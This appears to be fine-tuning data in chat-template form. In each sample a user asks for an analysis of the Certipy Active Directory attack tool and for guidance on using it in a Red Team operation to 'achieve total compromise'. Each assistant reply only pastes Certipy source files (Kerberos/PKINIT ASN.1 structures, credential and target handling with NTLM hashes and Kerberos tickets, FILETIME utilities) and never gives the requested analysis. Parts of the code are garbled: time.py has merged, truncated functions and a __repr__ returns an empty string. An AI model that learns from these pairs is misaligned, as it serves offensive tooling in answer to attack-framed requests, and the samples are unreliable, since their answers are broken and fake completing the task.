core.GeneralizedTime, {\"tag_type\": TAG, \"tag\": 4, \"optional\": True}),\n (\"till\", core.GeneralizedTime, {\"tag_type\": TAG, \"tag\": 5, \"optional\": True}),\n (\"rtime\", core.GeneralizedTime, {\"tag_type\": TAG, \"tag\": 6, \"optional\": True}),\n (\"nonce\", core.Integer, {\"tag_type\": TAG, \"tag\": 7}),\n (\n \"etype\",\n SequenceOfEnctype,\n {\"tag_type\": TAG, \"tag\": 8},\n ), # Encryption types in preference order\n (\"addresses\", HostAddresses, {\"tag_type\": TAG, \"tag\": 9, \"optional\": True}),\n (\n \"enc-authorization-data\",\n EncryptedData,\n {\"tag_type\": TAG, \"tag\": 10, \"optional\": True},\n ),\n (\n \"additional-tickets\",\n SequenceOfTicket,\n {\"tag_type\": TAG, \"tag\": 11, \"optional\": True},\n ),\n ]\n\n\nclass KdcReq(core.Sequence):\n \"\"\"\n Base KDC request structure.\n\n Parent class for AS-REQ and TGS-REQ messages.\n \"\"\"\n\n _fields = [\n (\"pvno\", core.Integer, {\"tag_type\": TAG, \"tag\": 1}),\n (\"msg-type\", core.Integer, {\"tag_type\": TAG, \"tag\": 2}),\n (\"padata\", MethodData, {\"tag_type\": TAG, \"tag\": 3, \"optional\": True}),\n (\"req-body\", KdcReqBody, {\"tag_type\": TAG, \"tag\": 4}),\n ]\n\n\nclass AsReq(KdcReq):\n \"\"\"\n Authentication Service Request (AS-REQ).\n\n Initial request in Kerberos authentication to obtain a TGT.\n \"\"\"\n\n explicit = (APPLICATION, 10)\n\n\nclass PaPacRequest(core.Sequence):\n \"\"\"\n Microsoft PAC request pre-authentication data.\n\n Controls whether a Privilege Attribute Certificate should be included in the ticket.\n \"\"\"\n\n _fields = [\n (\"include-pac\", core.Boolean, {\"tag_type\": TAG, \"tag\": 0}),\n ]\n\n\n# =========================================================================\n# Kerberos Types and Enumerations\n# =========================================================================\n\n\nclass NameType:\n \"\"\"Kerberos name types from RFC 4120.\"\"\"\n\n UNKNOWN = 0 # Name type not known\n PRINCIPAL = 1 # Just the name of the principal\n SRV_INST = 2 # Service and other unique instance (krbtgt)\n SRV_HST = 3 # Service with host name as instance\n SRV_XHST = 4 # Service with host as remaining components\n UID = 5 # Unique ID\n X500_PRINCIPAL = 6 # PKINIT\n SMTP_NAME = 7 # Name in form of SMTP email name\n ENTERPRISE_PRINCIPAL = 10 # Windows 2000 UPN\n WELLKNOWN = 11 # Wellknown\n ENT_PRINCIPAL_AND_ID = -130 # Windows 2000 UPN and SID\n MS_PRINCIPAL = -128 # NT 4 style name\n MS_PRINCIPAL_AND_ID = -129 # NT style name and SID\n NTLM = -1200 # NTLM name, realm is domain\n\n\nclass EncType(enum.IntEnum):\n \"\"\"Kerberos encryption types.\"\"\"\n\n DES_CRC = 1\n DES_MD4 = 2\n DES_MD5 = 3\n DES3 = 16\n AES128 = 17\n AES256 = 18\n RC4 = 23\n\n\nclass AlgorithmIdentifiers(core.SequenceOf):\n \"\"\"Sequence of algorithm identifiers.\"\"\"\n\n _child_spec = x509.AlgorithmIdentifier\n\n\nclass ExternalPrincipalIdentifier(core.Sequence):\n \"\"\"External principal identifier for PKINIT.\"\"\"\n\n _fields = [\n (\n \"subjectName\",\n core.OctetString,\n {\"tag_type\": \"implicit\", \"tag\": 0, \"optional\": True},\n ),\n (\n \"issuerAndSerialNumber\",\n core.OctetString,\n {\"tag_type\": \"implicit\", \"tag\": 1, \"optional\": True},\n ),\n (\n \"subjectKeyIdentifier\",\n core.OctetString,\n {\"tag_type\": \"implicit\", \"tag\": 2, \"optional\": True},\n ),\n ]\n\n\nclass KDCDHKeyInfo(core.Sequence):\n \"\"\"KDC-generated DH key information.\"\"\"\n\n _fields = [\n (\"subjectPublicKey\", core.BitString, {\"tag_type\": \"explicit\", \"tag\": 0}),\n (\"nonce\", core.Integer, {\"tag_type\": \"explicit\", \"tag\": 1}),\n (\n \"dhKeyExpiration\",\n core.GeneralizedTime,\n {\"tag_type\": \"explicit\", \"tag\": 2, \"optional\": True},\n ),\n ]\n\n\nclass ExternalPrincipalIdentifiers(core.SequenceOf):\n \"\"\"Sequence of external principal identifiers.\"\"\"\n\n _child_spec = ExternalPrincipalIdentifier\n\n\nclass DHRepInfo(core.Sequence):\n \"\"\"DH reply information.\"\"\"\n\n _fields = [\n (\"dhSignedData\", core.OctetString, {\"tag_type\": \"implicit\", \"tag\": 0}),\n (\n \"serverDHNonce\",\n core.OctetString,\n {\"tag_type\": \"explicit\", \"tag\": 1, \"optional\": True},\n ),\n ]\n\n\nclass PaPkAsReq(core.Sequence):\n \"\"\"PKINIT request structure.\"\"\"\n\n _fields = [\n (\"signedAuthPack\", core.OctetString, {\"tag_type\": \"implicit\", \"tag\": 0}),\n (\n \"trustedCertifiers\",\n ExternalPrincipalIdentifiers,\n {\"tag_type\": \"explicit\", \"tag\": 1, \"optional\": True},\n ),\n (\n \"kdcPkId\",\n core.OctetString,\n {\"tag_type\": \"implicit\", \"tag\": 2, \"optional\": True},\n ),\n ]\n\n\nclass PaPkAsRep(core.Choice):\n \"\"\"PKINIT response structure.\"\"\"\n\n _alternatives = [\n (\"dhInfo\", DHRepInfo, {\"explicit\": (2, 0)}),\n (\"encKeyPack\", core.OctetString, {\"implicit\": (2, 1)}),\n ]\n\n\nclass PKAuthenticator(core.Sequence):\n \"\"\"PKINIT authenticator structure.\"\"\"\n\n _fields = [\n (\"cusec\", core.Integer, {\"tag_type\": \"explicit\", \"tag\": 0}),\n (\"ctime\", core.GeneralizedTime, {\"tag_type\": \"explicit\", \"tag\": 1}),\n (\"nonce\", core.Integer, {\"tag_type\": \"explicit\", \"tag\": 2}),\n (\n \"paChecksum\",\n core.OctetString,\n {\"tag_type\": \"explicit\", \"tag\": 3, \"optional\": True},\n ),\n ]\n\n\nclass AuthPack(core.Sequence):\n \"\"\"PKINIT authentication pack.\"\"\"\n\n _fields = [\n (\"pkAuthenticator\", PKAuthenticator, {\"tag_type\": \"explicit\", \"tag\": 0}),\n (\n \"clientPublicValue\",\n keys.PublicKeyInfo,\n {\"tag_type\": \"explicit\", \"tag\": 1, \"optional\": True},\n ),\n (\n \"supportedCMSTypes\",\n AlgorithmIdentifiers,\n {\"tag_type\": \"explicit\", \"tag\": 2, \"optional\": True},\n ),\n (\n \"clientDHNonce\",\n core.OctetString,\n {\"tag_type\": \"explicit\", \"tag\": 3, \"optional\": True},\n ),\n ]\n\n\n# =========================================================================\n# ASN.1 structures for Microsoft certificate operations\n# =========================================================================\n\n\nclass TaggedCertificationRequest(core.Sequence):\n \"\"\"ASN.1 structure for a tagged certification request.\"\"\"\n\n _fields = [\n (\"bodyPartID\", core.Integer),\n (\"certificationRequest\", csr.CertificationRequest),\n ]\n\n\nclass TaggedRequest(core.Choice):\n \"\"\"ASN.1 structure for PKI request types.\"\"\"\n\n _alternatives = [\n (\"tcr\", TaggedCertificationRequest, {\"implicit\": 0}),\n (\"crm\", core.Any, {\"implicit\": 1}),\n (\"orm\", core.Any, {\"implicit\": 2}),\n ]\n\n\nclass TaggedAttribute(core.Sequence):\n \"\"\"ASN.1 structure for a tagged attribute.\"\"\"\n\n _fields = [\n (\"bodyPartID\", core.Integer),\n (\"attrType\", core.ObjectIdentifier),\n (\"attrValues\", cms.SetOfAny),\n ]\n\n\nclass TaggedAttributes(core.SequenceOf):\n \"\"\"Sequence of TaggedAttribute objects.\"\"\"\n\n _child_spec = TaggedAttribute\n\n\nclass TaggedRequests(core.SequenceOf):\n \"\"\"Sequence of TaggedRequest objects.\"\"\"\n\n _child_spec = TaggedRequest\n\n\nclass TaggedContentInfos(core.SequenceOf):\n \"\"\"Sequence of ContentInfo objects.\"\"\"\n\n _child_spec = core.Any # not implemented\n\n\nclass OtherMsgs(core.SequenceOf):\n \"\"\"Sequence of other message types.\"\"\"\n\n _child_spec = core.Any # not implemented\n\n\nclass PKIData(core.Sequence):\n \"\"\"ASN.1 structure for PKI data container.\"\"\"\n\n _fields = [\n (\"controlSequence\", TaggedAttributes),\n (\"reqSequence\", TaggedRequests),\n (\"cmsSequence\", TaggedContentInfos),\n (\"otherMsgSequence\", OtherMsgs),\n ]\n\n\nclass CertReference(core.SequenceOf):\n \"\"\"Reference to certificates by ID.\"\"\"\n\n _child_spec = core.Integer\n\n\nclass CMCAddAttributesInfo(core.Sequence):\n \"\"\"ASN.1 structure for CMC AddAttributesInfo.\"\"\"\n\n _fields = [\n (\"data_reference\", core.Integer),\n (\"cert_reference\", CertReference),\n (\"attributes\", csr.SetOfAttributes),\n ]\n\n\nclass EnrollmentNameValuePair(core.Sequence):\n \"\"\"ASN.1 structure for name-value pairs in enrollment requests.\"\"\"\n\n _fields = [\n (\"name\", core.BMPString),\n (\"value\", core.BMPString),\n ]\n\n\nclass EnrollmentNameValuePairs(core.SetOf):\n \"\"\"Set of EnrollmentNameValuePair objects.\"\"\"\n\n _child_spec = EnrollmentNameValuePair\n\n\ndef e2i(enum: int) -> int:\n \"\"\"\n Convert an Impacket enum member to its integer value.\n\n Static type analysis is confused by the fact that Impacket enums are\n not standard Python enums. This function provides a workaround.\n\n Args:\n enum: The enum member to convert.\n\n Returns:\n The integer value of the enum member.\n \"\"\"\n return enum.value # type: ignore\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/lib/target.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nTarget management module for Certipy.\n\nThis module provides functionality for creating and managing target objects\nthat represent authentication endpoints. It handles:\n\n- Authentication parameters (username, password, hashes, Kerberos tickets)\n- Target name resolution (DNS, local resolution, IP address validation)\n- Connection settings (timeouts, ports, protocol options)\n- Domain controller discovery\n- Kerberos ticket cache integration\n\nThe primary class is Target, which encapsulates all connection parameters\nneeded to authenticate to and interact with Windows/Active Directory services.\nHelper classes like DnsResolver provide supporting functionality.\n\"\"\"\n\nimport argparse\nimport os\nimport socket\nfrom typing import Dict, Optional, Tuple\n\nfrom dns.resolver import Resolver\nfrom impacket.krb5.ccache import CCache\n\nfrom certipy.lib.errors import handle_error\nfrom certipy.lib.logger import logging\n\n\nclass Target:\n \"\"\"\n Class representing an authentication target with all necessary connection details.\n \"\"\"\n\n def __init__(\n self,\n resolver: \"DnsResolver\",\n domain: str = \"\",\n username: str = \"\",\n password: Optional[str] = None,\n remote_name: str = \"\",\n hashes: Optional[str] = None,\n lmhash: str = \"\",\n nthash: str = \"\",\n do_kerberos: bool = False,\n do_simple: bool = False,\n aes: Optional[str] = None,\n dc_ip: Optional[str] = None,\n dc_host: Optional[str] = None,\n target_ip: Optional[str] = None,\n timeout: int = 5,\n ldap_scheme: str = \"ldaps\",\n ldap_port: Optional[int] = None,\n ldap_channel_binding: bool = True,\n ldap_signing: bool = True,\n ldap_user_dn: Optional[str] = None,\n ) -> None:\n \"\"\"\n Initialize a Target with the specified connection parameters.\n\n Args:\n resolver: DNS resolver for hostname resolution\n domain: Domain name (empty string if not specified)\n username: Username (empty string if not specified)\n password: Password (None if not specified)\n remote_name: Remote target name (empty string if not specified)\n hashes: NTLM hashes in format LM:NT\n lmhash: LM hash\n nthash: NT hash\n do_kerberos: Use Kerberos authentication\n do_simple: Use simple authentication\n aes: AES key for Kerberos authentication\n dc_ip: Domain controller IP\n dc_host: Domain controller hostname\n target_ip: Target IP address\n timeout: Connection timeout in seconds\n ldap_scheme: LDAP scheme (default is ldaps)\n ldap_port: LDAP port to use\n ldap_channel_binding: Use LDAP channel binding\n ldap_signing: Use LDAP signing\n ldap_user_dn: LDAP user distinguished name\n \"\"\"\n self.resolver = resolver\n\n self.domain: str = domain\n self.username: str = username\n self.password: Optional[str] = password\n self.remote_name: str = remote_name\n self.hashes: Optional[str] = hashes\n self.lmhash: str = lmhash\n self.nthash: str = nthash\n self.do_kerberos: bool = do_kerberos\n self.do_simple: bool = do_simple\n self.aes: Optional[str] = aes\n self.dc_ip: Optional[str] = dc_ip\n self.dc_host: Optional[str] = dc_host\n self.target_ip: Optional[str] = target_ip\n self.timeout: int = timeout\n self.ldap_scheme: str = ldap_scheme\n self.ldap_port: Optional[int] = ldap_port\n self.ldap_channel_binding: bool = ldap_channel_binding\n self.ldap_signing: bool = ldap_signing\n self.ldap_user_dn: Optional[str] = ldap_user_dn\n\n @staticmethod\n def from_options(\n options: argparse.Namespace,\n dc_as_target: bool = False,\n require_username: bool = True,\n ) -> \"Target\":\n \"\"\"\n Create a Target from command line options.\n\n Args:\n options: Command line options\n dc_as_target: Whether to use DC as target\n\n Returns:\n Target: Configured target object\n\n Raises:\n Exception: If no target can be determined\n \"\"\"\n # Domain controller options\n dc_ip = options.dc_ip if hasattr(options, \"dc_ip\") else None\n dc_host = options.dc_host if hasattr(options, \"dc_host\") else None\n\n # Target machine options\n target_ip = options.target_ip if hasattr(options, \"target_ip\") else None\n target = options.target if hasattr(options, \"target\") else None\n\n # DNS options\n ns = options.ns if hasattr(options, \"ns\") else dc_ip\n dns_tcp = options.dns_tcp if hasattr(options, \"dns_tcp\") else False\n\n # Connection options\n timeout = options.timeout if hasattr(options, \"timeout\") else 10\n\n # Authentication options\n principal = options.username if hasattr(options, \"username\") else None\n password = options.password if hasattr(options, \"password\") else None\n hashes = options.hashes if hasattr(options, \"hashes\") else None\n\n do_kerberos = options.do_kerberos if hasattr(options, \"do_kerberos\") else False\n do_simple = options.do_simple if hasattr(options, \"do_simple\") else False\n aes = options.aes if hasattr(options, \"aes\") else None\n no_pass = options.no_pass if hasattr(options, \"no_pass\") else False\n\n # LDAP options\n ldap_scheme = (\n options.ldap_scheme if hasattr(options, \"ldap_scheme\") else \"ldaps\"\n )\n ldap_port = options.ldap_port if hasattr(options, \"ldap_port\") else None\n no_ldap_channel_binding = (\n options.no_ldap_channel_binding\n if hasattr(options, \"no_ldap_channel_binding\")\n else False\n )\n no_ldap_signing = (\n options.no_ldap_signing if hasattr(options, \"no_ldap_signing\") else False\n )\n ldap_user_dn = (\n options.ldap_user_dn if hasattr(options, \"ldap_user_dn\") else None\n )\n\n # Parse username and domain from principal format (user@DOMAIN)\n domain = \"\"\n username = \"\"\n\n if principal is not None:\n parts = principal.split(\"@\")\n if len(parts) == 1:\n username = parts[0]\n else:\n username = \"@\".join(parts[:-1])\n domain = parts[-1]\n\n # Handle Kerberos authentication\n if do_kerberos:\n principal = get_kerberos_principal()\n if principal:\n username, domain = principal\n\n # Normalize domain and username\n domain = domain.upper()\n username = username.upper()\n\n if require_username and len(username) == 0:\n logging.error(\"Username is not specified\")\n\n # Handle password input\n if (\n not password\n and username != \"\"\n and hashes is None\n and aes is None\n and no_pass is not True\n and do_kerberos is not True\n ):\n from getpass import getpass\n\n password = getpass(\"Password:\")\n\n # Parse hashes if provided\n lmhash = \"\"\n nthash = \"\"\n if hashes is not None:\n hash_parts = hashes.split(\":\")\n if len(hash_parts) == 1:\n nthash = hash_parts[0]\n lmhash = nthash\n else:\n lmhash, nthash = hash_parts\n if len(lmhash) == 0:\n lmhash = nthash\n\n # AES key implies Kerberos\n if aes is not None:\n do_kerberos = True\n\n # Determine remote target name\n remote_name = target or \"\"\n if do_kerberos and not remote_name:\n logging.warning(\n \"Target name (-target) not specified and Kerberos authentication is used. This might fail\"\n )\n\n if dc_as_target:\n if not remote_name and dc_host:\n remote_name = dc_host\n\n if not remote_name:\n logging.debug(\n f\"Target name (-target) and DC host (-dc-host) not specified. Using domain {domain!r} as target name. This might fail for cross-realm operations\"\n )\n remote_name = domain\n\n if not target_ip and dc_ip:\n target_ip = dc_ip\n\n if not dc_host:\n dc_host = remote_name\n else:\n if not dc_host and domain:\n if do_kerberos:\n logging.warning(\n \"DC host (-dc-host) not specified and Kerberos authentication is used. This might fail\"\n )\n logging.debug(\n \"DC host (-dc-host) not specified. Using domain as DC host\"\n )\n dc_host = domain\n\n if not remote_name:\n if target_ip:\n remote_name = target_ip\n elif dc_host:\n remote_name = dc_host\n elif dc_ip:\n remote_name = dc_ip\n elif domain:\n remote_name = domain\n else:\n raise Exception(\"Could not find a target in the specified options\")\n\n # Configure LDAP optinos\n if ldap_port is None:\n if ldap_scheme == \"ldap\":\n ldap_port = 389\n else:\n ldap_port = 636\n\n # Adjust DC IP if needed\n if dc_as_target and dc_ip is None and is_ip(remote_name):\n dc_ip = remote_name\n\n # Handle target IP\n if is_ip(remote_name):\n target_ip = remote_name\n\n ns = ns or dc_ip\n\n logging.debug(f\"Nameserver: {ns!r}\")\n logging.debug(f\"DC IP: {dc_ip!r}\")\n logging.debug(f\"DC Host: {dc_host!r}\")\n logging.debug(f\"Target IP: {target_ip!r}\")\n logging.debug(f\"Remote Name: {remote_name!r}\")\n logging.debug(f\"Domain: {domain!r}\")\n logging.debug(f\"Username: {username!r}\")\n\n resolver = DnsResolver.create(ns=ns, dc_ip=dc_ip, dns_tcp=dns_tcp)\n\n if target_ip is None:\n target_ip = resolver.resolve(remote_name)\n\n # Ensure DC IP is resolved\n if dc_ip is None and dc_host:\n dc_ip = resolver.resolve(dc_host)\n\n # Create target instance\n target = Target(\n resolver,\n domain=domain,\n username=username,\n password=password,\n remote_name=remote_name,\n hashes=hashes,\n lmhash=lmhash,\n nthash=nthash,\n aes=aes,\n do_kerberos=do_kerberos,\n do_simple=do_simple,\n dc_ip=dc_ip,\n dc_host=dc_host,\n target_ip=target_ip,\n timeout=timeout,\n ldap_scheme=ldap_scheme,\n ldap_channel_binding=not no_ldap_channel_binding,\n ldap_signing=not no_ldap_signing,\n ldap_port=ldap_port,\n ldap_user_dn=ldap_user_dn,\n )\n\n return target\n\n def resolve_hostname(self, hostname: str) -> str:\n \"\"\"\n Resolve a hostname to IP address using the configured resolver.\n\n Args:\n hostname: The hostname to resolve\n\n Returns:\n The resolved IP address or the original hostname if resolution fails\n \"\"\"\n return self.resolver.resolve(hostname)\n\n def __repr__(self) -> str:\n \"\"\"String representation of the Target object.\"\"\"\n return f\"\"\n\n\nclass DnsResolver:\n \"\"\"\n DNS resolver for hostname resolution with caching capabilities.\n \"\"\"\n\n def __init__(self) -> None:\n \"\"\"Initialize a new DNS resolver with default settings.\"\"\"\n self.resolver: Resolver = Resolver()\n self.use_tcp: bool = False\n self.mappings: Dict[str, str] = {}\n\n @staticmethod\n def from_options(options: argparse.Namespace, target: \"Target\") -> \"DnsResolver\":\n \"\"\"\n Create a DnsResolver from command line options.\n\n Args:\n options: The command line options\n target: The Target object\n\n Returns:\n DnsResolver: A configured DNS resolver\n \"\"\"\n resolver = DnsResolver()\n\n # We can't put all possible nameservers in the list of nameservers, since\n # the resolver will fail if one of them fails\n nameserver = options.ns\n if nameserver is None:\n nameserver = target.dc_ip\n\n if nameserver is not None:\n resolver.resolver.nameservers = [nameserver]\n\n resolver.use_tcp = options.dns_tcp\n\n return resolver\n\n @staticmethod\n def create(\n ns: Optional[str] = None,\n dc_ip: Optional[str] = None,\n dns_tcp: bool = False,\n ) -> \"DnsResolver\":\n \"\"\"\n Create a DnsResolver with specified parameters.\n\n Args:\n target: Target object which may contain DC IP information\n ns: Nameserver to use\n dns_tcp: Whether to use TCP for DNS queries\n\n Returns:\n DnsResolver: A configured DNS resolver\n \"\"\"\n resolver = DnsResolver()\n\n # We can't put all possible nameservers in the list of nameservers, since\n # the resolver will fail if one of them fails\n nameserver = ns or dc_ip\n\n if nameserver is not None:\n resolver.resolver.nameservers = [nameserver]\n\n resolver.use_tcp = dns_tcp\n\n return resolver\n\n def resolve(self, hostname: str) -> str:\n \"\"\"\n Resolve hostname to IP address using DNS or local resolution.\n Uses cache for previously resolved hostnames.\n\n Args:\n hostname: The hostname to resolve\n\n Returns:\n str: The resolved IP address or the original hostname if resolution fails\n \"\"\"\n # Try to resolve the hostname with DNS first, then try a local resolve\n if hostname in self.mappings:\n logging.debug(\n f\"Resolved {hostname!r} from cache: {self.mappings[hostname]}\"\n )\n return self.mappings[hostname]\n\n if is_ip(hostname):\n return hostname\n\n ip_addr = None\n if not self.resolver.nameservers:\n logging.debug(f\"Trying to resolve {hostname!r} locally\")\n else:\n logging.debug(\n f\"Trying to resolve {hostname!r} at {self.resolver.nameservers[0]!r}\"\n )\n\n # Try DNS resolution first\n try:\n answers = self.resolver.resolve(hostname, tcp=self.use_tcp)\n if answers:\n ip_addr = str(answers[0])\n except Exception as e:\n logging.warning(f\"DNS resolution failed: {e}\")\n handle_error(True)\n pass\n\n # Fall back to socket resolution\n if ip_addr is None:\n try:\n ip_addr = socket.gethostbyname(hostname)\n except Exception:\n ip_addr = None\n\n if ip_addr is None:\n logging.warning(f\"Failed to resolve: {hostname}\")\n return hostname\n\n self.mappings[hostname] = ip_addr\n return ip_addr\n\n\ndef is_ip(hostname: Optional[str]) -> bool:\n \"\"\"\n Check if the given hostname is an IP address.\n\n Args:\n hostname: The hostname to check\n\n Returns:\n bool: True if the hostname is an IP address, False otherwise\n \"\"\"\n if hostname is None:\n return False\n\n try:\n _ = socket.inet_aton(hostname)\n return True\n except Exception:\n return False\n\n\ndef get_kerberos_principal() -> Optional[Tuple[str, str]]:\n \"\"\"\n Get Kerberos principal information from the KRB5CCNAME environment variable.\n\n Returns:\n Tuple containing (username, domain) or None if not available\n \"\"\"\n krb5ccname = os.getenv(\"KRB5CCNAME\")\n if krb5ccname is None:\n logging.warning(\"KRB5CCNAME environment variable not set\")\n return None\n\n try:\n ccache = CCache.loadFile(krb5ccname)\n except Exception:\n return None\n\n if ccache is None:\n return None\n\n if ccache.principal is None:\n logging.error(\"No principal found in CCache file\")\n return None\n\n if ccache.principal.realm is None:\n logging.error(\"No realm/domain found in CCache file\")\n return None\n\n domain = ccache.principal.realm[\"data\"].decode(\"utf-8\")\n logging.debug(f\"Domain retrieved from CCache: {domain}\")\n\n username = \"/\".join(map(lambda x: x[\"data\"].decode(), ccache.principal.components))\n logging.debug(f\"Username retrieved from CCache: {username}\")\n\n return username, domain\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/lib/time.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nTime Conversion Utilities\n\nThis module provides functions for handling Microsoft Windows FILETIME format\nand converting time spans to human-readable strings.\n\"\"\"\n\nimport struct\n\n# Constants for time calculations (in seconds)\nSECONDS_PER_HOUR = 3600\nSECONDS_PER_DAY = 86400\nSECONDS_PER_WEEK = 604800\nSECONDS_PER_MONTH = 2592000 # 30-day month approximation\nSECONDS_PER_YEAR = 31536000 # 365-day year approximation\n\n# FILETIME conversion factor\n# Windows FILETIME is in 100-nanosecond intervals\n# Negative because FILETIME represents time remaining\nFILETIME_CONVERSION_FACTOR = -0.0000001\n\n\ndef filetime_to_span(filetime: bytes) -> int:\n \"\"\"\n Convert Windows FILETIME to time span in seconds.\n\n Windows FILETIME is a 64-bit value representing the number of\n 100-nanosecond intervals since January 1, 1601 UTC.\n When used for validity periods, negative values represent time remaining.\n\n Args:\n filetime: Windows FILETIME as 8 bytes\n\n Returns:\n Time span in seconds (absolute value)\n\n Raises:\n struct.error: If the input bytes cannot be unpacked as a 64-bit integer\n \"\"\"\n # Unpack the 8-byte FILETIME as a 64-bit integer (little-endian)\n (span,) = struct.unpack(\" bytes:\n \"\"\"\n Convert a time span in seconds to Windows FILETIME format.\n\n This function converts the time span to a 64-bit integer representing\n the number of 100-nanosecond intervals since January 1, 1601 UTC.\n\n Args:\n span: Time span in seconds (positive integer)\n\n Returns:\n Windows FILETIME as 8 bytes\n\n Raises:\n ValueError: If the input span is negative\n \"\"\"\n if span < 0:\n raise ValueError(\"Span must be a positive integer\")\n\n # Convert seconds to 100-nanosecond intervals\n filetime = int(span / FILETIME_CONVERSION_FACTOR)\n\n # Pack as little-endian 64-bit integer\n return struct.pack(\" str:\n \"\"\"\n Convert a time span in seconds to a human-readable string.\n\n The function converts the span to the largest appropriate unit\n (years, months, weeks, days, or hours) for readability.\n\n Args:\n span: Time span in seconds (positive integer)\n\n Returns:\n Human-readable time span (e.g., \"1 year\", \"2 months\", \"3 weeks\")\n Empty string if span is negative or zero\n \"\"\"\n if span <= 0:\n return \"\"\n\n # Time unit conversion table\n # (seconds_per_unit, singular_name, plural_name)\n time_units = [\n (SECONDS_PER_YEAR, \"year\", \"years\"),\n (SECONDS_PER_MONTH, \"month\", \"months\"),\n (SECONDS_PER_WEEK, \"week\", \"weeks\"),\n (SECONDS_PER_DAY, \"day\", \"days\"),\n (SECONDS_PER_HOUR, \"hour\", \"hours\"),\n ]\n\n # Find the largest unit that divides span evenly\n for seconds_per_unit, singular, plural in time_units:\n if span % seconds_per_unit == 0 and span // seconds_per_unit >= 1:\n unit_count = span // seconds_per_unit\n return f\"{unit_count} {singular if unit_count == 1 else plural}\"\n\n # If no exact match, return in seconds\n return f\"{span} seconds\"\n\n\ndef filetime_to_str(filetime: bytes) -> str:\n \"\"\"\n Convert Windows FILETIME to a human-readable time span string.\n\n This is a convenience function that combines filetime_to_span()\n and span_to_str() operations.\n\n Args:\n filetime: Windows FILETIME as bytes\n\n Returns:\n Human-readable time span string\n\n Example:\n >>> filetime_bytes = struct.pack(\">> filetime_to_str(filetime_bytes)\n '1 year'\n \"\"\"\n try:\n span = filetime_to_span(filetime)\n return span_to_str(span)\n except (struct.error, TypeError, ValueError) as e:\n # Handle potential errors in the FILETIME format\n return f\"Invalid FILETIME format: {str(e)}\"\n\n<|im_end|>"}